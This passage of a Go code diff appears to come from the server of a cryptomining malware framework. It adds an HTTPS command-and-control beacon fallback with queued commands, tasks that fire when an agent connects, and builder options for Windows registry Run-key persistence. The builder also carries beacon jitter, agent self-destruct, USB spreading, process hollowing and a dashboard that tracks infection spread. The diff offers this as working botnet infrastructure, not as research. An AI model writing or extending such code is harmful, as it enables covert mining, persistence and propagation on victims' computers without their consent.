|
||||
}
|
||||
|
||||
// Return updated config
|
||||
h.getConfig(w, r)
|
||||
}
|
||||
|
||||
@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
args["data"] = req.Data
|
||||
}
|
||||
|
||||
queued := false
|
||||
if id == "all" {
|
||||
if f.ws.connectedAgentCount() == 0 {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
}
|
||||
f.ws.BroadcastAgentCommand(req.Action, args)
|
||||
} else {
|
||||
if !f.ws.isAgentConnected(id) {
|
||||
if !f.ws.IsAgentReachable(id) {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
"error": "agent not connected",
|
||||
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
})
|
||||
return
|
||||
}
|
||||
queued = !f.ws.isAgentConnected(id)
|
||||
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"success": false,
|
||||
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": id,
|
||||
"action": req.Action,
|
||||
})
|
||||
}
|
||||
if queued {
|
||||
resp["queued"] = true
|
||||
resp["transport"] = "https_beacon"
|
||||
}
|
||||
writeJSON(w, resp)
|
||||
if f.db != nil {
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
|
||||
"action": req.Action, "command": req.Command, "path": req.Path,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||
|
||||
97
server/internal/api/fleet_ops_handler.go
Normal file
97
server/internal/api/fleet_ops_handler.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.AuditEntry{})
|
||||
return
|
||||
}
|
||||
entries, err := f.db.ListAudit(50)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if entries == nil {
|
||||
entries = []*models.AuditEntry{}
|
||||
}
|
||||
writeJSON(w, entries)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, []*models.FleetTask{})
|
||||
return
|
||||
}
|
||||
tasks, err := f.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if tasks == nil {
|
||||
tasks = []*models.FleetTask{}
|
||||
}
|
||||
writeJSON(w, tasks)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
var t models.FleetTask
|
||||
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if t.Name == "" || t.Action == "" || t.Trigger == "" {
|
||||
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.UpsertFleetTask(&t); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
|
||||
writeJSON(w, t)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if f.db == nil {
|
||||
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
if err := f.db.DeleteFleetTask(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
|
||||
writeJSON(w, map[string]bool{"ok": true})
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
|
||||
if f.db == nil {
|
||||
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
|
||||
return
|
||||
}
|
||||
since := time.Now().Add(-7 * 24 * time.Hour)
|
||||
stats, err := f.db.GetSpreadFunnelStats(since)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, stats)
|
||||
}
|
||||
@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||
|
||||
dropperHandler := NewDropperHandler(database, nil)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
|
||||
@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
authCacheSet(user, pass)
|
||||
}
|
||||
|
||||
next.ServeHTTP(w, r)
|
||||
next.ServeHTTP(w, withAuthUser(r, user))
|
||||
})
|
||||
}
|
||||
|
||||
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
||||
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
||||
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
||||
r.Get("/audit", fleetHandler.GetAudit)
|
||||
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
|
||||
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
||||
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
}
|
||||
|
||||
// Shares
|
||||
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
|
||||
@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
|
||||
// cmdResultKey is used to key pending command callbacks: "agentID:action".
|
||||
type cmdResultKey struct{ AgentID, Action string }
|
||||
|
||||
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
|
||||
type ConnectTaskRunner interface {
|
||||
RunConnectTasks(agentID, trigger string)
|
||||
}
|
||||
|
||||
type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
@@ -122,12 +127,18 @@ type WSHub struct {
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
connectTasks ConnectTaskRunner
|
||||
mu sync.RWMutex
|
||||
|
||||
// pendingCmdCallbacks allows handlers to await a specific command_result
|
||||
// from an agent (used by Path Tracer orchestration).
|
||||
pendingCmdMu sync.Mutex
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
|
||||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
|
||||
h.mu.Lock()
|
||||
h.connectTasks = r
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) ConnectedAgentIDs() []string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
ids := make([]string, 0, len(h.agents))
|
||||
for id := range h.agents {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Arch string `json:"arch"`
|
||||
OSVersion string `json:"os_version"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
AutoSpread: auth.AutoSpread,
|
||||
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
|
||||
AIEnabled: auth.AIEnabled,
|
||||
USBSpread: auth.USBSpread,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
prior, priorErr := h.db.GetAgent(agentID)
|
||||
isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
|
||||
|
||||
workerName := auth.WorkerName
|
||||
if workerName == "" {
|
||||
workerName = auth.Worker
|
||||
}
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: displayName,
|
||||
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
OSVersion: auth.OSVersion,
|
||||
Hostname: auth.Hostname,
|
||||
MacAddress: auth.MacAddress,
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
go h.runPingLoopAgent(ac)
|
||||
|
||||
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
runner := h.connectTasks
|
||||
h.mu.RUnlock()
|
||||
if runner != nil {
|
||||
if isNewAgent {
|
||||
go runner.RunConnectTasks(agentID, "on_connect")
|
||||
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
||||
go runner.RunConnectTasks(agentID, "on_reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
name := agentID
|
||||
if h.db != nil {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
||||
name = ag.Name
|
||||
}
|
||||
}
|
||||
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
if h.EnqueueBeaconCommand(agentID, action, args) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
|
||||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||||
|
||||
@@ -39,6 +39,12 @@ type BuildRequest struct {
|
||||
RunAs string `json:"run_as"`
|
||||
HostBinaryTarget string `json:"host_binary_target"`
|
||||
AutoStart bool `json:"auto_start"`
|
||||
AutostartMode string `json:"autostart_mode"`
|
||||
RegistryPersistence string `json:"registry_persistence"`
|
||||
RegistryRunHKCU bool `json:"registry_run_hkcu"`
|
||||
RegistryRunHKLM bool `json:"registry_run_hklm"`
|
||||
RegistryRunOnce bool `json:"registry_run_once"`
|
||||
RegistryExplorerRun bool `json:"registry_explorer_run"`
|
||||
Persistence bool `json:"persistence"`
|
||||
ProcessName string `json:"process_name"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
@@ -97,6 +103,13 @@ type BuildRequest struct {
|
||||
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||
|
||||
// Connection profile — C2 beacon timing and agent self-destruct
|
||||
BeaconIntervalSec int `json:"beacon_interval_sec"`
|
||||
BeaconJitterPct int `json:"beacon_jitter_pct"`
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if h.db != nil {
|
||||
user := ""
|
||||
if u, _, ok := r.BasicAuth(); ok {
|
||||
user = u
|
||||
}
|
||||
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
|
||||
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
|
||||
})
|
||||
}
|
||||
|
||||
if r.URL.Query().Get("download") == "1" {
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
|
||||
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.Persistence {
|
||||
req.AutoStart = true
|
||||
}
|
||||
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
|
||||
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.ProcessName == "" {
|
||||
req.ProcessName = sanitizeFileName(req.WorkerName)
|
||||
}
|
||||
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RunAs: %q,
|
||||
HostBinaryTarget: %q,
|
||||
AutoStart: %v,
|
||||
AutostartMode: %q,
|
||||
RegistryPersistence: %q,
|
||||
RegistryRunHKCU: %v,
|
||||
RegistryRunHKLM: %v,
|
||||
RegistryRunOnce: %v,
|
||||
RegistryExplorerRun: %v,
|
||||
ProcessName: %q,
|
||||
BuildID: %q,
|
||||
BuiltAt: time.Unix(%d, 0),
|
||||
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolTLS: %v,
|
||||
RVNPoolPass: %q,
|
||||
RVNBackupPools: %s,
|
||||
|
||||
BeaconIntervalSec: %d,
|
||||
BeaconJitterPct: %d,
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RunAs,
|
||||
req.HostBinaryTarget,
|
||||
req.AutoStart,
|
||||
strings.TrimSpace(req.AutostartMode),
|
||||
strings.TrimSpace(req.RegistryPersistence),
|
||||
req.RegistryRunHKCU,
|
||||
req.RegistryRunHKLM,
|
||||
req.RegistryRunOnce,
|
||||
req.RegistryExplorerRun,
|
||||
req.ProcessName,
|
||||
buildID,
|
||||
time.Now().Unix(),
|
||||
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.RVNPoolTLS,
|
||||
rvnPoolPass(req),
|
||||
formatGoBackupPools(req.RVNBackupPools),
|
||||
req.BeaconIntervalSec,
|
||||
req.BeaconJitterPct,
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
)
|
||||
}
|
||||
|
||||
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
|
||||
if req.HTTPSBeaconFallback {
|
||||
return true
|
||||
}
|
||||
for _, u := range req.BackupServerURLs {
|
||||
if strings.TrimSpace(u) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func httpsBeaconAfterMin(req *BuildRequest) int {
|
||||
if req.HTTPSBeaconAfterMin > 0 {
|
||||
return req.HTTPSBeaconAfterMin
|
||||
}
|
||||
return 3
|
||||
}
|
||||
|
||||
func rvnPoolHost(req *BuildRequest) string {
|
||||
if req.RVNPoolHost == "" {
|
||||
return "rvn.2miners.com"
|
||||
|
||||
@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "AutostartMode") {
|
||||
t.Error("expected AutostartMode field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
|
||||
|
||||
41
server/internal/builder/registry_persistence.go
Normal file
41
server/internal/builder/registry_persistence.go
Normal file
@@ -0,0 +1,41 @@
|
||||
package builder
|
||||
|
||||
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
|
||||
func normalizeRegistryPersistence(req *BuildRequest) {
|
||||
if req == nil {
|
||||
return
|
||||
}
|
||||
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
|
||||
return
|
||||
}
|
||||
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
|
||||
return
|
||||
}
|
||||
count := 0
|
||||
if req.RegistryRunHKCU {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunOnce {
|
||||
count++
|
||||
}
|
||||
if req.RegistryRunHKLM {
|
||||
count++
|
||||
}
|
||||
if req.RegistryExplorerRun {
|
||||
count++
|
||||
}
|
||||
if count == 1 {
|
||||
switch {
|
||||
case req.RegistryRunHKCU:
|
||||
req.RegistryPersistence = "hkcu_run"
|
||||
case req.RegistryRunOnce:
|
||||
req.RegistryPersistence = "hkcu_run_once"
|
||||
case req.RegistryRunHKLM:
|
||||
req.RegistryPersistence = "hklm_run"
|
||||
case req.RegistryExplorerRun:
|
||||
req.RegistryPersistence = "explorer_run"
|
||||
}
|
||||
return
|
||||
}
|
||||
req.RegistryPersistence = "combined"
|
||||
}
|
||||
30
server/internal/builder/registry_persistence_test.go
Normal file
30
server/internal/builder/registry_persistence_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run_once" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
|
||||
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "combined" {
|
||||
t.Fatalf("got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
RegistryPersistence: "hkcu_run",
|
||||
RegistryRunHKLM: true,
|
||||
}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run" {
|
||||
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
|
||||
Write-Host "Removing persistence..."
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
|
||||
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
|
||||
|
||||
if (%s) {
|
||||
Write-Host "Removing Windows Firewall rules..."
|
||||
|
||||
@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
|
||||
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
|
||||
script := generateUninstallScript("build-id", req)
|
||||
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
|
||||
if !strings.Contains(script, frag) {
|
||||
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "office-pc",
|
||||
|
||||
@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
|
||||
}) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
var notes, tagsRaw string
|
||||
var usbSpread int
|
||||
err := row.Scan(
|
||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.Notes = notes
|
||||
a.Tags = decodeTags(tagsRaw)
|
||||
a.USBSpread = usbSpread == 1
|
||||
return a, nil
|
||||
}
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
55
server/internal/db/audit.go
Normal file
55
server/internal/db/audit.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
|
||||
var detailJSON []byte
|
||||
if detail != nil {
|
||||
var err error
|
||||
detailJSON, err = json.Marshal(detail)
|
||||
if err != nil {
|
||||
detailJSON = []byte("{}")
|
||||
}
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
|
||||
time.Now(), username, action, agentID, string(detailJSON),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 500 {
|
||||
limit = 500
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []*models.AuditEntry
|
||||
for rows.Next() {
|
||||
e := &models.AuditEntry{}
|
||||
var detailStr string
|
||||
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if detailStr != "" {
|
||||
e.Detail = json.RawMessage(detailStr)
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
46
